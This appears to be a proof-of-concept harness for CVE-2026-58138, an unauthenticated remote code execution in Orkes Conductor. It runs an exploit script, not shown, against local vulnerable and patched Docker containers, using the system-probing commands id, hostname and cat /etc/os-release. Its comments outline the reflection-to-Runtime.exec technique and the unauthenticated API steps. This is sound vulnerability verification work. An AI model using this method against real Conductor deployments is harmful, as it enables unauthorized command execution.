#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-58138 - Orkes Conductor 3.21.21..<3.30.2 Unauthenticated RCE
#   via inline GraalVM script evaluators (HostAccess.ALL)
#
# This script proves the vulnerability end-to-end against the REAL Conductor
# product running in Docker:
#   1. Start the VULNERABLE Conductor (conductoross/conductor:3.22.3) and
#      submit an UNAUTHENTICATED workflow definition whose INLINE task carries
#      a malicious JavaScript expression. The expression bootstraps Java
#      reflection from the bound input object ($), loads java.lang.Runtime, and
#      calls Runtime.exec(['sh','-c',CMD]). The command's stdout is returned as
#      the task result -> arbitrary OS command execution as root, no auth.
#   2. Start the FIXED Conductor (conductoross/conductor:3.30.2) and run the
#      identical payload. The fix (commits 87a7d96 + c691e35) denies host access
#      to Class/Runtime/reflection and disables host class loading, so the
#      INLINE task fails with TERMINAL_ERROR and NO command executes.
#
# Exit 0 = vulnerability confirmed (vulnerable RCE + fixed blocked).
# =============================================================================

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

VULN_IMAGE="conductoross/conductor:3.22.3"
FIXED_IMAGE="conductoross/conductor:3.30.2"
VULN_CONTAINER="conductor-vuln-repro"
FIXED_CONTAINER="conductor-fixed-repro"
CONDUCTOR_PORT="${CONDUCTOR_PORT:-8080}"

# Marker written by the RCE command inside the container filesystem so we can
# independently confirm execution via docker exec (not just the API response).
RCE_MARKER="PRUVA_RCE_CONFIRMED_$(date +%s)"
RCE_MARKER_FILE="/tmp/${RCE_MARKER}.txt"

# ---- helpers ----------------------------------------------------------------
log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOGS/reproduction_steps.log"; }

die() { log "ERROR: $*"; exit 1; }

require_cmd() { command -v "$1" >/dev/null 2>&1 || die "required command '$1' not found"; }

# Detect the host:port that the sandbox can use to reach a --network host
# container. In this DinD topology the sandbox is a container whose default
# gateway is the Docker daemon host; a --network host conductor binds to that
# host's 0.0.0.0:<port>. Returns "IP:PORT" so callers build http://<result>/...
detect_target() {
  local port="$CONDUCTOR_PORT"
  local gw=""
  gw=$(ip route 2>/dev/null | awk '/^default/{print $3; exit}')
  # 1) sandbox default gateway (Docker daemon host in DinD)
  if [ -n "$gw" ] && curl -s -m 3 -o /dev/null -w "" "http://$gw:$port/" 2>/dev/null; then
    echo "$gw:$port"; return 0
  fi
  # 2) try localhost (sandbox IS the docker host)
  if curl -s -m 3 -o /dev/null -w "" "http://127.0.0.1:$port/" 2>/dev/null; then
    echo "127.0.0.1:$port"; return 0
  fi
  # 3) fall back to the gateway:port even if the quick probe failed (server may still boot)
  if [ -n "$gw" ]; then echo "$gw:$port"; return 0; fi
  echo "127.0.0.1:$port"
}

wait_health() {
  local target="$1" name="$2" max="${3:-60}"
  log "waiting for $name health at http://$target/health ..."
  local code="000"
  for i in $(seq 1 "$max"); do
    code=$(curl -s -m 4 -o /dev/null -w "%{http_code}" "http://$target/health" 2>/dev/null || true)
    if [ "$code" = "200" ]; then
      log "$name is healthy (HTTP 200) after ~$((i*4))s"
      curl -s -m 5 "http://$target/health" >"$ARTIFACTS/${name}_health.json" 2>/dev/null || true
      return 0
    fi
    sleep 4
  done
  log "$name did not become healthy in time (last code=$code)"
  return 1
}

cleanup_container() { docker rm -f "$1" >/dev/null 2>&1 || true; }

# ---- preflight --------------------------------------------------------------
require_cmd docker
require_cmd curl
require_cmd python3

log "=== CVE-2026-58138 reproduction ==="
log "vulnerable image: $VULN_IMAGE | fixed image: $FIXED_IMAGE"

# Pull images (cached pulls are fast)
log "ensuring docker images are present ..."
docker pull "$VULN_IMAGE" >/dev/null 2>&1 || die "failed to pull $VULN_IMAGE"
docker pull "$FIXED_IMAGE" >/dev/null 2>&1 || die "failed to pull $FIXED_IMAGE"

# Clean any leftover containers from a prior run
cleanup_container "$VULN_CONTAINER"
cleanup_container "$FIXED_CONTAINER"

# ---- phase 1: VULNERABLE build (3.22.3) -------------------------------------
log ""
log "########## PHASE 1: VULNERABLE Conductor 3.22.3 ##########"
docker run -d --name "$VULN_CONTAINER" --network host "$VULN_IMAGE" >/dev/null
log "started $VULN_CONTAINER (image $VULN_IMAGE)"

TARGET=$(detect_target)
log "detected target (sandbox -> host-network conductor): $TARGET"

if ! wait_health "$TARGET" "$VULN_CONTAINER" 60; then
  docker logs "$VULN_CONTAINER" >"$LOGS/vuln_container.log" 2>&1 || true
  die "vulnerable conductor did not start"
fi
docker logs "$VULN_CONTAINER" >"$LOGS/vuln_container.log" 2>&1 || true

# Confirm the unauthenticated metadata API is reachable
META_CODE=$(curl -s -m 5 -o /dev/null -w "%{http_code}" "http://$TARGET/api/metadata/workflow" 2>/dev/null || true)
log "unauthenticated GET /api/metadata/workflow -> HTTP $META_CODE (expect 200, no auth)"
echo "vulnerable metadata HTTP $META_CODE" >"$ARTIFACTS/vuln_metadata_http.txt"

# Run the exploit. The command writes a marker file inside the container AND
# echoes an in-band marker, so we have two independent proofs of execution.
VULN_CMD="id; echo $RCE_MARKER; hostname; cat /etc/os-release | head -1; echo $RCE_MARKER > $RCE_MARKER_FILE"
log "running unauthenticated RCE exploit against vulnerable conductor ..."
set +e
python3 "$REPRO_DIR/exploit.py" "http://$TARGET" "$VULN_CMD" "$ARTIFACTS/vuln_exploit.json" \
  >"$LOGS/vuln_exploit.log" 2>&1
VULN_EXIT=$?
set -e
log "vulnerable exploit exit code: $VULN_EXIT"

# Independent confirmation: read the marker file written inside the container
MARKER_IN_CONTAINER=""
if docker exec "$VULN_CONTAINER" cat "$RCE_MARKER_FILE" >/dev/null 2>&1; then
  MARKER_IN_CONTAINER=$(docker exec "$VULN_CONTAINER" cat "$RCE_MARKER_FILE" 2>/dev/null | tr -d '\n')
  log "marker file present inside container: '$MARKER_IN_CONTAINER'"
else
  log "marker file NOT found inside container"
fi
docker exec "$VULN_CONTAINER" sh -c "id; ls -l $RCE_MARKER_FILE 2>/dev/null; cat $RCE_MARKER_FILE 2>/dev/null" \
  >"$ARTIFACTS/vuln_marker_check.txt" 2>&1 || true

# Parse the exploit JSON result
VULN_RCE=$(python3 -c "import json;print(json.load(open('$ARTIFACTS/vuln_exploit.json')).get('rce_confirmed'))" 2>/dev/null || echo False)
VULN_TASK_STATUS=$(python3 -c "import json;print(json.load(open('$ARTIFACTS/vuln_exploit.json')).get('task_status'))" 2>/dev/null || echo unknown)
VULN_RESULT=$(python3 -c "import json;print((json.load(open('$ARTIFACTS/vuln_exploit.json')).get('task_output_result') or '')[:400])" 2>/dev/null || echo "")
log "vulnerable task_status=$VULN_TASK_STATUS rce_confirmed=$VULN_RCE"
log "vulnerable command output (first lines): $(echo "$VULN_RESULT" | head -3)"

VULN_OK=false
if [ "$VULN_RCE" = "True" ] && [ "$VULN_TASK_STATUS" = "COMPLETED" ] && [ -n "$MARKER_IN_CONTAINER" ]; then
  VULN_OK=true
  log ">>> VULNERABLE: unauthenticated RCE CONFIRMED (in-band output + marker file)"
fi

# Stop the vulnerable container so the fixed one can reuse port 8080
docker stop "$VULN_CONTAINER" >/dev/null 2>&1 || true
cleanup_container "$VULN_CONTAINER"

# ---- phase 2: FIXED build (3.30.2) negative control -------------------------
log ""
log "########## PHASE 2: FIXED Conductor 3.30.2 (negative control) ##########"
docker run -d --name "$FIXED_CONTAINER" --network host "$FIXED_IMAGE" >/dev/null
log "started $FIXED_CONTAINER (image $FIXED_IMAGE)"

if ! wait_health "$TARGET" "$FIXED_CONTAINER" 60; then
  docker logs "$FIXED_CONTAINER" >"$LOGS/fixed_container.log" 2>&1 || true
  die "fixed conductor did not start"
fi
docker logs "$FIXED_CONTAINER" >"$LOGS/fixed_container.log" 2>&1 || true

# Reuse the SAME marker file path; if the fixed build executed it we'd see it.
FIXED_CMD="id; echo $RCE_MARKER; hostname; echo $RCE_MARKER > $RCE_MARKER_FILE"
log "running identical exploit against FIXED conductor (expect blocked) ..."
set +e
python3 "$REPRO_DIR/exploit.py" "http://$TARGET" "$FIXED_CMD" "$ARTIFACTS/fixed_exploit.json" \
  >"$LOGS/fixed_exploit.log" 2>&1
FIXED_EXIT=$?
set -e
log "fixed exploit exit code: $FIXED_EXIT (expect 1 = not confirmed)"

FIXED_RCE=$(python3 -c "import json;print(json.load(open('$ARTIFACTS/fixed_exploit.json')).get('rce_confirmed'))" 2>/dev/null || echo False)
FIXED_TASK_STATUS=$(python3 -c "import json;print(json.load(open('$ARTIFACTS/fixed_exploit.json')).get('task_status'))" 2>/dev/null || echo unknown)
FIXED_RESULT=$(python3 -c "import json;print((json.load(open('$ARTIFACTS/fixed_exploit.json')).get('task_output_result') or '')[:400])" 2>/dev/null || echo "")
log "fixed task_status=$FIXED_TASK_STATUS rce_confirmed=$FIXED_RCE"
log "fixed task result (first lines): $(echo "$FIXED_RESULT" | head -3)"

# Verify no marker file was created inside the fixed container
FIXED_MARKER=""
if docker exec "$FIXED_CONTAINER" cat "$RCE_MARKER_FILE" >/dev/null 2>&1; then
  FIXED_MARKER=$(docker exec "$FIXED_CONTAINER" cat "$RCE_MARKER_FILE" 2>/dev/null | tr -d '\n')
fi
docker exec "$FIXED_CONTAINER" sh -c "id; ls -l $RCE_MARKER_FILE 2>/dev/null; cat $RCE_MARKER_FILE 2>/dev/null" \
  >"$ARTIFACTS/fixed_marker_check.txt" 2>&1 || true

FIXED_BLOCKED=false
if [ "$FIXED_RCE" = "False" ] && [ -z "$FIXED_MARKER" ]; then
  FIXED_BLOCKED=true
  log ">>> FIXED: RCE BLOCKED (task did not complete with command output, no marker file)"
fi

docker stop "$FIXED_CONTAINER" >/dev/null 2>&1 || true
cleanup_container "$FIXED_CONTAINER"

# ---- verdict ----------------------------------------------------------------
log ""
log "=== VERDICT ==="
log "vulnerable RCE confirmed : $VULN_OK"
log "fixed build blocked      : $FIXED_BLOCKED"

OVERALL=false
if [ "$VULN_OK" = "true" ] && [ "$FIXED_BLOCKED" = "true" ]; then
  OVERALL=true
  log "RESULT: CVE-2026-58138 CONFIRMED (unauthenticated RCE on 3.22.3, blocked on 3.30.2)"
else
  log "RESULT: incomplete (vuln=$VULN_OK fixed=$FIXED_BLOCKED)"
fi

# ---- runtime manifest -------------------------------------------------------
python3 - "$REPRO_DIR/runtime_manifest.json" "$OVERALL" "$VULN_OK" "$FIXED_BLOCKED" \
  "$VULN_TASK_STATUS" "$FIXED_TASK_STATUS" "$VULN_RESULT" "$FIXED_RESULT" "$TARGET" <<'PY'
import json, sys
out, overall, vuln_ok, fixed_blocked, vts, fts, vres, fres, tip = sys.argv[1:11]
manifest = {
    "entrypoint_kind": "api_remote",
    "entrypoint_detail": "Unauthenticated Conductor REST API: POST /api/metadata/workflow + POST /api/workflow/{name} (no auth) on host-network conductor at http://%s" % tip,
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["conductoross/conductor:3.22.3 (vulnerable)", "conductoross/conductor:3.30.2 (fixed negative control)", "Docker --network host"],
    "proof_artifacts": [
        "logs/reproduction_steps.log",
        "logs/vuln_container.log",
        "logs/vuln_exploit.log",
        "artifacts/vuln_health.json",
        "artifacts/vuln_metadata_http.txt",
        "artifacts/vuln_exploit.json",
        "artifacts/vuln_marker_check.txt",
        "logs/fixed_container.log",
        "logs/fixed_exploit.log",
        "artifacts/fixed_exploit.json",
        "artifacts/fixed_marker_check.txt"
    ],
    "notes": "vulnerable_task_status=%s fixed_task_status=%s | vuln_cmd_output=%r | fixed_cmd_output=%r | overall_confirmed=%s" % (vts, fts, vres[:120], fres[:120], overall)
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
print("wrote", out)
PY

log "runtime manifest written to $REPRO_DIR/runtime_manifest.json"

if [ "$OVERALL" = "true" ]; then
  log "=== reproduction SUCCESS ==="
  exit 0
else
  log "=== reproduction INCOMPLETE ==="
  exit 1
fi
